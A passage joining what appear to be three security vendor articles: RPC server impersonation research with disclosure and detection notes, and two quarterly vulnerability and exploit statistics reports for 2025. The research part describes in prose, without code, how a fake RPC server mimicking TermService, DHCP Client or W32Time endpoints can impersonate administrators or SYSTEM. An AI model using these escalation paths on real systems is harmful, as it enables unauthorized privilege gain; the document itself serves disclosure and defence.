I cannot rely solely on the raw ETW output to implement this framework because it contains thousands of events, making manual filtering with standard tools inefficient. Therefore, I need to automate this process. The workflow shown below enables me to efficiently filter and extract only those events that are relevant to this analysis.

After generating the logs as an .etl file, I convert them to JSON format using tools such as etw2json. JSON is a much easier format to process programmatically. In this case, I use a Python script to filter and extract the relevant information.

The filtering process begins with a search for Event ID 1, which corresponds to an RPC stop event. This event indicates that the RPC client has completed the call and the result is available. From this event, I can extract useful information, such as:

• Status code
• Client process name
• Client process ID
• Endpoint

After extracting the status code, I filter for the specific value RPC_S_SERVER_UNAVAILABLE, which indicates that the target server was unreachable during an RPC call. These events represent the scenarios that are of interest.

However, Event ID 1 does not contain all of the required RPC metadata. To obtain the missing information, it is correlated with Event ID 5, which represents the RPC start event. This event is generated when the client initiates the RPC call.

By matching the metadata between Event ID 1 and Event ID 5, I can recover the missing details, including:

• Interface UUID
• OPNUM
• Impersonation level

After correlating and filtering these events, a JSON entry is obtained that is almost ready for analysis. At this stage, the data can be enriched further by adding context that will be helpful when reversing or analyzing the RPC server implementation. For example, the following can be identified:

• The DLL where the RPC interface is implemented
• The location of that DLL
• The number of procedures exposed by the interface

To retrieve this information, I match the UUID with an external RPC interface database. In this case, I used the RPC database, which contains a comprehensive list of RPC interfaces and their corresponding DLL implementations.

At the end of this process, a complete JSON dataset is obtained that can be used for further analysis.

One important observation is that the RPC calls I am looking for may only occur when specific system actions are triggered. Additionally, the resulting exceptions may vary from one system to another depending on which services are enabled or disabled. Therefore, I need a reliable way to generate these RPC exceptions.

In this research, I used several approaches to trigger such events:

1. Monitoring RPC activity during system startup
   I observed RPC activity while the system booted. During startup, many services initialize and perform various RPC calls, which increases the chances of capturing calls to unavailable servers.
2. Triggering administrative operations
   I developed PowerShell scripts that perform common administrative tasks, such as updating Group Policy, changing network settings, or creating new users. These operations often trigger RPC communication and may generate exceptions.
3. Disabling services intentionally
   After observing that Remote Desktop was disabled by default, I extended this idea by disabling additional services one by one and repeating the previous steps. This approach can reveal RPC clients that attempt to connect to services that are no longer available.

Additional privilege escalation paths

After running the logging and monitoring framework described earlier, I identified four additional scenarios that can lead to privilege escalation. The following sections introduce each case and explain how escalation can be achieved.

User interaction: From Edge to RDP

Microsoft Edge (msedge.exe) comes preinstalled on Windows systems. During startup, Edge triggers an RPC call to TermService. This RPC call is performed with a high impersonation level.

As previously discussed, Terminal Service is disabled by default. Because of this, the expected RPC server is unavailable, creating an opportunity for the attack scenario illustrated below.

The attack follows the same initial assumption as before: the attacker has already compromised a process running under the Network Service account. From there, they deploy the same malicious RPC server that mimics the legitimate TermService RPC interface.

However, unlike the previous scenario where the attacker coerced the Group Policy service, no coercion is required this time. Instead, the attacker simply waits for a high-privileged user, such as an administrator, to launch msedge.exe.

When Edge starts, it triggers the RPC client to attempt communication with the expected TermService RPC interface. Because the legitimate server is not running, the request is received by the attacker’s fake RPC server. Since the RPC call is made with a high impersonation level, the malicious server can call RpcImpersonateClient to impersonate the client process.

As a result, the attacker is able to impersonate the administrator-level client and escalate privileges from Network Service to Administrator.

Background services: From WDI to RDP

Some background Windows services periodically attempt to make RPC calls to the RDP service without user interaction. One such service is the WdiSystemHost service. The Diagnostic System Host Service (WDI) is a built-in Windows service that runs system diagnostics and performs troubleshooting tasks. This service runs under the SYSTEM account.

During normal operation, WDI periodically performs background RPC calls to the Remote Desktop service (TermService) using a high impersonation level. These RPC interactions occur automatically every 5–15 minutes and do not require any user input.

This behavior can be abused in a similar manner to the previous attack scenarios, as illustrated in the figure below.

In this case, however, no user interaction or coercion is required. After deploying a malicious RPC server that mimics the expected TermService RPC interface, the attacker only needs to wait for the WDI service to perform its periodic RPC call. Because the request is made with a high impersonation level, the malicious server can invoke RpcImpersonateClient and impersonate the calling process. This enables the attacker to escalate privileges to SYSTEM.

Abusing the Local Service account: From ipconfig to DHCP

Another scenario involves the DHCP Client service, which manages DHCP client operations on Windows systems. This service runs under the Local Service account and is enabled by default.

The DHCP Client service exposes an RPC server with multiple interfaces and endpoints. These interfaces are frequently invoked by various system DLLs, often using a high impersonation level.

In this scenario, instead of compromising a process running under Network Service, it is assumed the attacker has compromised a process running under the Local Service account. I also assume that the DHCP Client service is disabled, meaning the legitimate RPC server is unavailable.

As the figure below illustrates, the attacker can leverage this situation to escalate privileges.

After gaining control of a Local Service process, the attacker deploys a malicious RPC server that mimics the legitimate RPC server normally exposed by the DHCP Client service. Once the malicious server is running, the attacker waits for a high-privileged user, such as an administrator, to execute ipconfig.exe.

When ipconfig is run, it internally triggers an RPC request to the DHCP Client service. Since the legitimate RPC server is not running, the request is received by the attacker’s fake RPC server. Because the RPC call is performed with a high impersonation level, the malicious server can call RpcImpersonateClient to impersonate the client.

As a result, the attacker can escalate privileges from the Local Service account to the Administrator account.

Abusing Time

The Windows Time service (W32Time) is responsible for maintaining date and time synchronization across systems in a Windows environment. This service is enabled by default and runs under the Local Service account.

The service exposes an RPC server with two endpoints:

• \PIPE\W32TIME_ALT
• \RPC Control\W32TIME_ALT

The executable C:\Windows\System32\w32tm.exe interacts with the Windows Time service through RPC. However, before connecting to the valid RPC endpoints exposed by the service, the executable first attempts to access the nonexistent named pipe: \PIPE\W32TIME. This named pipe is not exposed by the legitimate W32Time service. However, if this endpoint were available, w32tm.exe would attempt to connect to it.

An attacker can abuse this behavior by deploying a malicious RPC server that mimics the legitimate RPC interface of the Windows Time service. Rather than exposing the legitimate endpoints, the attacker’s server exposes the nonexistent endpoint \PIPE\W32TIME, as shown in the figure below.

As in the previous scenarios, it is assumed the attacker has already compromised a process running under the Local Service account. The attacker then deploys a fake RPC server that implements the same RPC interface as the Windows Time service, but which exposes the alternative endpoint used by w32tm.exe.

Once the malicious server is running, the attacker simply waits for a high-privileged user, such as an administrator, to execute w32tm.exe. When the executable runs, it attempts to connect to the endpoint \PIPE\W32TIME. Because the attacker’s fake server exposes this endpoint, the RPC request is directed to the malicious server.

Since the RPC call is performed with a high impersonation level, the malicious server can impersonate the calling client. As a result, the attacker can escalate privileges from the Local Service account to the Administrator account.

In this scenario, it is important to note that the legitimate Windows Time service does not need to be disabled. Because the executable attempts to connect to a nonexistent endpoint, it is sufficient for the attacker to expose that endpoint through the malicious RPC server.

Vulnerability disclosure

After discovering the vulnerability, Kaspersky Security Services prepared a 10-page technical report describing the issue and the various aforementioned exploitation scenarios. The report was submitted to the Microsoft Security Response Center (MSRC) to report the vulnerability and request a fix.

Twenty days later, Microsoft responded, indicating that they did not classify the vulnerability as high severity. According to their assessment, the issue was classified as moderate severity and would therefore not be patched immediately. No CVE would be assigned, and the case would be closed without further tracking.

Microsoft explained that the moderate severity classification was due to the requirement that the originating process had to already possess the SeImpersonatePrivilege privilege. Since this privilege was typically required for the attack to succeed, Microsoft determined that the issue did not require immediate remediation.

Kaspersky Security Services respect Microsoft’s assessment and only published the research after the embargo period ends. In line with the coordinated vulnerability disclosure policy, Kaspersky Security Services will refrain from publishing detailed instructions that could enable or accelerate mass exploitation.

The disclosure timeline is shown below:

• 2025-09-19: Vulnerability reported to Microsoft Security Response Center (Case 101749).
• 2025-10-10: MSRC response – the case was assessed as moderate severity, not eligible for a bounty, no CVE was issued, and the case was closed without further tracking.
• 2026-04-24: expected whitepaper publication date.

Detection and defense

As discussed above, this vulnerability is related to an architectural design behavior. Fully preventing it would require Microsoft to release a patch that addresses the underlying issue.

Nevertheless, organizations can still take steps to detect and mitigate potential abuse. ETW-based monitoring within the framework described above enables defenders to identify RPC exceptions in their environment, especially when RPC clients attempt to connect to unavailable servers.

I have provide the tools used in the previously described framework so that organizations can check their environment for such behavior. You can find all of them in the research repository.

By monitoring these events, administrators can identify situations where legitimate RPC servers are expected but not running. In some cases, the attack surface may be reduced by enabling the corresponding services, ensuring that the legitimate RPC server is available. This can hinder attackers from deploying malicious RPC servers that imitate legitimate endpoints.

It is also good practice to reduce the use of the SeImpersonatePrivilege privilege in processes where it is not required. Some system processes need this privilege for normal operations. However, granting it to custom processes is generally not considered good security practice.

Conclusion

All the exploits described in this research were tested on Windows Server 2022 and Windows Server 2025 with the latest available updates prior to the submission date. The proof-of-concept implementations can be found in the research repository. However, it is highly likely that this issue may also be exploitable on other Windows versions.

Because the vulnerability stems from an architectural design issue, there may be additional attack scenarios beyond those presented in this research. The exact exploitation paths may vary from one system to another depending on factors such as installed software, the DLLs involved in RPC communication, and the availability of corresponding RPC servers.

The fourth quarter of 2025 went down as one of the most intense periods on record for high-profile, critical vulnerability disclosures, hitting popular libraries and mainstream applications. Several of these vulnerabilities were picked up by attackers and exploited in the wild almost immediately.

In this report, we dive into the statistics on published vulnerabilities and exploits, as well as the known vulnerabilities leveraged with popular C2 frameworks throughout Q4 2025.

Statistics on registered vulnerabilities

This section contains statistics on registered vulnerabilities. The data is taken from cve.org.

Let’s take a look at the number of registered CVEs for each month over the last five years, up to and including the end of 2025. As predicted in our last report, Q4 saw a higher number of registered vulnerabilities than the same period in 2024, and the year-end totals also cleared the bar set the previous year.

Total published vulnerabilities by month from 2021 through 2025 (download)

Now, let’s look at the number of new critical vulnerabilities (CVSS > 8.9) for that same period.

Total number of published critical vulnerabilities by month from 2021 to 2025< (download)

The graph shows that the volume of critical vulnerabilities remains quite substantial; however, in the second half of the year, we saw those numbers dip back down to levels seen in 2023. This was due to vulnerability churn: a handful of published security issues were revoked. The widespread adoption of secure development practices and the move toward safer languages also pushed those numbers down, though even that couldn’t stop the overall flood of vulnerabilities.

Exploitation statistics

This section contains statistics on the use of exploits in Q4 2025. The data is based on open sources and our telemetry.

Windows and Linux vulnerability exploitation

In Q4 2025, the most prevalent exploits targeted the exact same vulnerabilities that dominated the threat landscape throughout the rest of the year. These were exploits targeting Microsoft Office products with unpatched security flaws.

Kaspersky solutions detected the most exploits on the Windows platform for the following vulnerabilities:

• CVE-2018-0802: a remote code execution vulnerability in Equation Editor.
• CVE-2017-11882: another remote code execution vulnerability, also affecting Equation Editor.
• CVE-2017-0199: a vulnerability in Microsoft Office and WordPad that allows an attacker to assume control of the system.

The list has remained unchanged for years.

We also see that attackers continue to adapt exploits for directory traversal vulnerabilities (CWE-35) when unpacking archives in WinRAR. They are being heavily leveraged to gain initial access via malicious archives on the Windows operating system:

• CVE-2023-38831: a vulnerability stemming from the improper handling of objects within an archive.
• CVE-2025-6218 (formerly ZDI-CAN-27198): a vulnerability that enables an attacker to specify a relative path and extract files into an arbitrary directory. This can lead to arbitrary code execution. We covered this vulnerability in detail in our Q2 2025 report.
• CVE-2025-8088: a vulnerability we analyzed in our previous report, analogous to CVE-2025-6218. The attackers used NTFS streams to circumvent controls on the directory into which files were being unpacked.

As in the previous quarter, we see a rise in the use of archiver exploits, with fresh vulnerabilities increasingly appearing in attacks.

Below are the exploit detection trends for Windows users over the last two years.

Dynamics of the number of Windows users encountering exploits, Q1 2024 – Q4 2025. The number of users who encountered exploits in Q1 2024 is taken as 100% (download)

The vulnerabilities listed here can be used to gain initial access to a vulnerable system. This highlights the critical importance of timely security updates for all affected software.

On Linux-based devices, the most frequently detected exploits targeted the following vulnerabilities:

• CVE-2022-0847, also known as Dirty Pipe: a vulnerability that allows privilege escalation and enables attackers to take control of running applications.
• CVE-2019-13272: a vulnerability caused by improper handling of privilege inheritance, which can be exploited to achieve privilege escalation.
• CVE-2021-22555: a heap overflow vulnerability in the Netfilter kernel subsystem.
• CVE-2023-32233: another vulnerability in the Netfilter subsystem that creates a use-after-free condition, allowing for privilege escalation due to the improper handling of network requests.

Dynamics of the number of Linux users encountering exploits, Q1 2024 – Q4 2025. The number of users who encountered exploits in Q1 2024 is taken as 100% (download)

We are seeing a massive surge in Linux-based exploit attempts: in Q4, the number of affected users doubled compared to Q3. Our statistics show that the final quarter of the year accounted for more than half of all Linux exploit attacks recorded for the entire year. This surge is primarily driven by the rapidly growing number of Linux-based consumer devices. This trend naturally attracts the attention of threat actors, making the installation of security patches critically important.

Most common published exploits

The distribution of published exploits by software type in Q4 2025 largely mirrors the patterns observed in the previous quarter. The majority of exploits we investigate through our monitoring of public research, news, and PoCs continue to target vulnerabilities within operating systems.

Distribution of published exploits by platform, Q1 2025 (download)

Distribution of published exploits by platform, Q2 2025 (download)

Distribution of published exploits by platform, Q3 2025 (download)

Distribution of published exploits by platform, Q4 2025 (download)

In Q4 2025, no public exploits for Microsoft Office products emerged; the bulk of the vulnerabilities were issues discovered in system components. When calculating our statistics, we placed these in the OS category.

Vulnerability exploitation in APT attacks

We analyzed which vulnerabilities were utilized in APT attacks during Q4 2025. The following rankings draw on our telemetry, research, and open-source data.

TOP 10 vulnerabilities exploited in APT attacks, Q4 2025 (download)

In Q4 2025, APT attacks most frequently exploited fresh vulnerabilities published within the last six months. We believe that these CVEs will remain favorites among attackers for a long time, as fixing them may require significant structural changes to the vulnerable applications or the user’s system. Often, replacing or updating the affected components requires a significant amount of resources. Consequently, the probability of an attack through such vulnerabilities may persist. Some of these new vulnerabilities are likely to become frequent tools for lateral movement within user infrastructure, as the corresponding security flaws have been discovered in network services that are accessible without authentication. This heavy exploitation of very recently registered vulnerabilities highlights the ability of threat actors to rapidly implement new techniques and adapt old ones for their attacks. Therefore, we strongly recommend applying the security patches provided by vendors.

C2 frameworks

In this section, we will look at the most popular C2 frameworks used by threat actors and analyze the vulnerabilities whose exploits interacted with C2 agents in APT attacks.

The chart below shows the frequency of known C2 framework usage in attacks against users during Q4 2025, according to open sources.

TOP 10 C2 frameworks used by APTs to compromise user systems in Q4 2025 (download)

Despite the significant footprints it can leave when used in its default configuration, Sliver continues to hold the top spot among the most common C2 frameworks in our Q4 2025 analysis. Mythic and Havoc were second and third, respectively. After reviewing open sources and analyzing malicious C2 agent samples that contained exploits, we found that the following vulnerabilities were used in APT attacks involving the C2 frameworks mentioned above:

• CVE-2025-55182: a React2Shell vulnerability in React Server Components that allows an unauthenticated user to send commands directly to the server and execute them from RAM.
• CVE-2023-36884: a vulnerability in the Windows Search component that allows the execution of commands on a system, bypassing security mechanisms built into Microsoft Office applications.
• CVE-2025-53770: a critical insecure deserialization vulnerability in Microsoft SharePoint that allows an unauthenticated user to execute commands on the server.
• CVE-2020-1472, also known as Zerologon, allows for compromising a vulnerable domain controller and executing commands as a privileged user.
• CVE-2021-34527, also known as PrintNightmare, exploits flaws in the Windows print spooler subsystem, enabling remote access to a vulnerable OS and high-privilege command execution.
• CVE-2025-8088 and CVE-2025-6218 are similar directory-traversal vulnerabilities that allow extracting files from an archive to a predefined path without the archiving utility notifying the user.

The set of vulnerabilities described above suggests that attackers have been using them for initial access and early-stage maneuvers in vulnerable systems to create a springboard for deploying a C2 agent. The list of vulnerabilities includes both zero-days and well-known, established security issues.

Notable vulnerabilities

This section highlights the most noteworthy vulnerabilities that were publicly disclosed in Q4 2025 and have a publicly available description.

React2Shell (CVE-2025-55182): a vulnerability in React Server Components

We typically describe vulnerabilities affecting a specific application. CVE-2025-55182 stood out as an exception, as it was discovered in React, a library primarily used for building web applications. This means that exploiting the vulnerability could potentially disrupt a vast number of applications that rely on the library. The vulnerability itself lies in the interaction mechanism between the client and server components, which is built on sending serialized objects. If an attacker sends serialized data containing malicious functionality, they can execute JavaScript commands directly on the server, bypassing all client-side request validation. Technical details about this vulnerability and an example of how Kaspersky solutions detect it can be found in our article.

CVE-2025-54100: command injection during the execution of curl (Invoke-WebRequest)

This vulnerability represents a data-handling flaw that occurs when retrieving information from a remote server: when executing the curl or Invoke-WebRequest command, Windows launches Internet Explorer in the background. This can lead to a cross-site scripting (XSS) attack.

CVE-2025-11001: a vulnerability in 7-Zip

This vulnerability reinforces the trend of exploiting security flaws found in file archivers. The core of CVE-2025-11001 lies in the incorrect handling of symbolic links. An attacker can craft an archive so that when it is extracted into an arbitrary directory, its contents end up in the location pointed to by a symbolic link. The likelihood of exploiting this vulnerability is significantly reduced because utilizing such functionality requires the user opening the archive to possess system administrator privileges.

This vulnerability was associated with a wave of misleading news reports claiming it was being used in real-world attacks against end users. This misconception stemmed from an error in the security bulletin.

RediShell (CVE-2025-49844): a vulnerability in Redis

The year 2025 saw a surge in high-profile vulnerabilities, several of which were significant enough to earn a unique nickname. This was the case with CVE-2025-49844, also known as RediShell, which was unveiled during a hacking competition. This vulnerability is a use-after-free issue related to how the load command functions within Lua interpreter scripts. To execute the attack, an attacker needs to prepare a malicious script and load it into the interpreter.

As with any named vulnerability, RediShell was immediately weaponized by threat actors and spammers, albeit in a somewhat unconventional manner. Because technical details were initially scarce following its disclosure, the internet was flooded with fake PoC exploits and scanners claiming to test for the vulnerability. In the best-case scenario, these tools were non-functional; in the worst, they infected the system. Notably, these fraudulent projects were frequently generated using LLMs. They followed a standardized template and often cross-referenced source code from other identical fake repositories.

CVE-2025-24990: a vulnerability in the ltmdm64.sys driver

Driver vulnerabilities are often discovered in legitimate third-party applications that have been part of the official OS distribution for a long time. Thus, CVE-2025-24990 has existed within code shipped by Microsoft throughout nearly the entire history of Windows. The vulnerable driver has been shipped since at least Windows 7 as a third-party driver for Agere Modem. According to Microsoft, this driver is no longer supported and, following the discovery of the flaw, was removed from the OS distribution entirely.

The vulnerability itself is straightforward: insecure handling of IOCTL codes leading to a null pointer dereference. Successful exploitation can lead to arbitrary command execution or a system crash resulting in a blue screen of death (BSOD) on modern systems.

CVE-2025-59287: a vulnerability in Windows Server Update Services (WSUS)

CVE-2025-59287 represents a textbook case of insecure deserialization. Exploitation is possible without any form of authentication; due to its ease of use, this vulnerability rapidly gained traction among threat actors. Technical details and detection methodologies for our product suite have been covered in our previous advisories.

Conclusion and advice

In Q4 2025, the rate of vulnerability registration has shown no signs of slowing down. Consequently, consistent monitoring and the timely application of security patches have become more critical than ever. To ensure resilient defense, it is vital to regularly assess and remediate known vulnerabilities while implementing technology designed to mitigate the impact of potential exploits.

Continuous monitoring of infrastructure, including the network perimeter, allows for the timely identification of threats and prevents them from escalating. Effective security also demands tracking the current threat landscape and applying preventative measures to minimize risks associated with system flaws. Kaspersky Next serves as a reliable partner in this process, providing real-time identification and detailed mapping of vulnerabilities within the environment.

Securing the workplace remains a top priority. Protecting corporate devices requires the adoption of solutions capable of blocking malware and preventing it from spreading. Beyond basic measures, organizations should implement adaptive systems that allow for the rapid deployment of security updates and the automation of patch management workflows.

In the third quarter, attackers continued to exploit security flaws in WinRAR, while the total number of registered vulnerabilities grew again. In this report, we examine statistics on published vulnerabilities and exploits, the most common security issues impacting Windows and Linux, and the vulnerabilities being leveraged in APT attacks that lead to the launch of widespread C2 frameworks. The report utilizes anonymized Kaspersky Security Network data, which was consensually provided by our users, as well as information from open sources.

Statistics on registered vulnerabilities

This section contains statistics on registered vulnerabilities. The data is taken from cve.org.

Let us consider the number of registered CVEs by month for the last five years up to and including the third quarter of 2025.

Total published vulnerabilities by month from 2021 through 2025 (download)

As can be seen from the chart, the monthly number of vulnerabilities published in the third quarter of 2025 remains above the figures recorded in previous years. The three-month total saw over 1000 more published vulnerabilities year over year. The end of the quarter sets a rising trend in the number of registered CVEs, and we anticipate this growth to continue into the fourth quarter. Still, the overall number of published vulnerabilities is likely to drop slightly relative to the September figure by year-end

A look at the monthly distribution of vulnerabilities rated as critical upon registration (CVSS > 8.9) suggests that this metric was marginally lower in the third quarter than the 2024 figure.

Total number of critical vulnerabilities published each month from 2021 to 2025 (download)

Exploitation statistics

This section contains exploitation statistics for Q3 2025. The data draws on open sources and our telemetry.

Windows and Linux vulnerability exploitation

In Q3 2025, as before, the most common exploits targeted vulnerable Microsoft Office products.

Most Windows exploits detected by Kaspersky solutions targeted the following vulnerabilities:

• CVE-2018-0802: a remote code execution vulnerability in the Equation Editor component
• CVE-2017-11882: another remote code execution vulnerability, also affecting Equation Editor
• CVE-2017-0199: a vulnerability in Microsoft Office and WordPad that allows an attacker to assume control of the system

These vulnerabilities historically have been exploited by threat actors more frequently than others, as discussed in previous reports. In the third quarter, we also observed threat actors actively exploiting Directory Traversal vulnerabilities that arise during archive unpacking in WinRAR. While the originally published exploits for these vulnerabilities are not applicable in the wild, attackers have adapted them for their needs.

• CVE-2023-38831: a vulnerability in WinRAR that involves improper handling of objects within archive contents We discussed this vulnerability in detail in a 2024 report.
• CVE-2025-6218 (ZDI-CAN-27198): a vulnerability that enables an attacker to specify a relative path and extract files into an arbitrary directory. A malicious actor can extract the archive into a system application or startup directory to execute malicious code. For a more detailed analysis of the vulnerability, see our Q2 2025 report.
• CVE-2025-8088: a zero-day vulnerability similar to CVE-2025-6128, discovered during an analysis of APT attacks The attackers used NTFS Streams to circumvent controls on the directory into which files were unpacked. We will take a closer look at this vulnerability below.

It should be pointed out that vulnerabilities discovered in 2025 are rapidly catching up in popularity to those found in 2023.

All the CVEs mentioned can be exploited to gain initial access to vulnerable systems. We recommend promptly installing updates for the relevant software.

Dynamics of the number of Windows users encountering exploits, Q1 2023 — Q3 2025. The number of users who encountered exploits in Q1 2023 is taken as 100% (download)

According to our telemetry, the number of Windows users who encountered exploits increased in the third quarter compared to the previous reporting period. However, this figure is lower than that of Q3 2024.

For Linux devices, exploits for the following OS kernel vulnerabilities were detected most frequently:

• CVE-2022-0847, also known as Dirty Pipe: a vulnerability that allows privilege escalation and enables attackers to take control of running applications
• CVE-2019-13272: a vulnerability caused by improper handling of privilege inheritance, which can be exploited to achieve privilege escalation
• CVE-2021-22555: a heap overflow vulnerability in the Netfilter kernel subsystem. The widespread exploitation of this vulnerability is due to its use of popular memory modification techniques: manipulating “msg_msg” primitives, which leads to a Use-After-Free security flaw.

Dynamics of the number of Linux users encountering exploits, Q1 2023 — Q3 2025. The number of users who encountered exploits in Q1 2023 is taken as 100% (download)

A look at the number of users who encountered exploits suggests that it continues to grow, and in Q3 2025, it already exceeds the Q1 2023 figure by more than six times.

It is critically important to install security patches for the Linux operating system, as it is attracting more and more attention from threat actors each year – primarily due to the growing number of user devices running Linux.

Most common published exploits

In Q3 2025, exploits targeting operating system vulnerabilities continue to predominate over those targeting other software types that we track as part of our monitoring of public research, news, and PoCs. That said, the share of browser exploits significantly increased in the third quarter, matching the share of exploits in other software not part of the operating system.

Distribution of published exploits by platform, Q1 2025 (download)

Distribution of published exploits by platform, Q2 2025 (download)

Distribution of published exploits by platform, Q3 2025 (download)

It is noteworthy that no new public exploits for Microsoft Office products appeared in Q3 2025, just as none did in Q2. However, PoCs for vulnerabilities in Microsoft SharePoint were disclosed. Since these same vulnerabilities also affect OS components, we categorized them under operating system vulnerabilities.

Vulnerability exploitation in APT attacks

We analyzed data on vulnerabilities that were exploited in APT attacks during Q3 2025. The following rankings draw on our telemetry, research, and open-source data.

TOP 10 vulnerabilities exploited in APT attacks, Q3 2025 (download)

APT attacks in Q3 2025 were dominated by zero-day vulnerabilities, which were uncovered during investigations of isolated incidents. A large wave of exploitation followed their public disclosure. Judging by the list of software containing these vulnerabilities, we are witnessing the emergence of a new go-to toolkit for gaining initial access into infrastructure and executing code both on edge devices and within operating systems. It bears mentioning that long-standing vulnerabilities, such as CVE-2017-11882, allow for the use of various data formats and exploit obfuscation to bypass detection. By contrast, most new vulnerabilities require a specific input data format, which facilitates exploit detection and enables more precise tracking of their use in protected infrastructures. Nevertheless, the risk of exploitation remains quite high, so we strongly recommend applying updates already released by vendors.

C2 frameworks

In this section, we will look at the most popular C2 frameworks used by threat actors and analyze the vulnerabilities whose exploits interacted with C2 agents in APT attacks.

The chart below shows the frequency of known C2 framework usage in attacks on users during the third quarter of 2025, according to open sources.

Top 10 C2 frameworks used by APT groups to compromise user systems in Q3 2025 (download)

Metasploit, whose share increased compared to Q2, tops the list of the most prevalent C2 frameworks from the past quarter. It is followed by Sliver and Mythic. The Empire framework also reappeared on the list after being inactive in the previous reporting period. What stands out is that Adaptix C2, although fairly new, was almost immediately embraced by attackers in real-world scenarios. Analyzed sources and samples of malicious C2 agents revealed that the following vulnerabilities were used to launch them and subsequently move within the victim’s network:

• CVE-2020-1472, also known as ZeroLogon, allows for compromising a vulnerable operating system and executing commands as a privileged user.
• CVE-2021-34527, also known as PrintNightmare, exploits flaws in the Windows print spooler subsystem, also enabling remote access to a vulnerable OS and high-privilege command execution.
• CVE-2025-6218 or CVE-2025-8088 are similar Directory Traversal vulnerabilities that allow extracting files from an archive to a predefined path without the archiving utility notifying the user. The first was discovered by researchers but subsequently weaponized by attackers. The second is a zero-day vulnerability.

Interesting vulnerabilities

This section highlights the most noteworthy vulnerabilities that were publicly disclosed in Q3 2025 and have a publicly available description.

ToolShell (CVE-2025-49704 and CVE-2025-49706, CVE-2025-53770 and CVE-2025-53771): insecure deserialization and an authentication bypass

ToolShell refers to a set of vulnerabilities in Microsoft SharePoint that allow attackers to bypass authentication and gain full control over the server.

• CVE-2025-49704 involves insecure deserialization of untrusted data, enabling attackers to execute malicious code on a vulnerable server.
• CVE-2025-49706 allows access to the server by bypassing authentication.
• CVE-2025-53770 is a patch bypass for CVE-2025-49704.
• CVE-2025-53771 is a patch bypass for CVE-2025-49706.

These vulnerabilities form one of threat actors’ combinations of choice, as they allow for compromising accessible SharePoint servers with just a few requests. Importantly, they were all patched back in July, which further underscores the importance of promptly installing critical patches. A detailed description of the ToolShell vulnerabilities can be found in our blog.

CVE-2025-8088: a directory traversal vulnerability in WinRAR

CVE-2025-8088 is very similar to CVE-2025-6218, which we discussed in our previous report. In both cases, attackers use relative paths to trick WinRAR into extracting archive contents into system directories. This version of the vulnerability differs only in that the attacker exploits Alternate Data Streams (ADS) and can use environment variables in the extraction path.

CVE-2025-41244: a privilege escalation vulnerability in VMware Aria Operations and VMware Tools

Details about this vulnerability were presented by researchers who claim it was used in real-world attacks in 2024.

At the core of the vulnerability lies the fact that an attacker can substitute the command used to launch the Service Discovery component of the VMware Aria tooling or the VMware Tools utility suite. This leads to the unprivileged attacker gaining unlimited privileges on the virtual machine. The vulnerability stems from an incorrect regular expression within the get-versions.sh script in the Service Discovery component, which is responsible for identifying the service version and runs every time a new command is passed.

Conclusion and advice

The number of recorded vulnerabilities continued to rise in Q3 2025, with some being almost immediately weaponized by attackers. The trend is likely to continue in the future.

The most common exploits for Windows are primarily used for initial system access. Furthermore, it is at this stage that APT groups are actively exploiting new vulnerabilities. To hinder attackers’ access to infrastructure, organizations should regularly audit systems for vulnerabilities and apply patches in a timely manner. These measures can be simplified and automated with Kaspersky Systems Management. Kaspersky Next can provide comprehensive and flexible protection against cyberattacks of any complexity.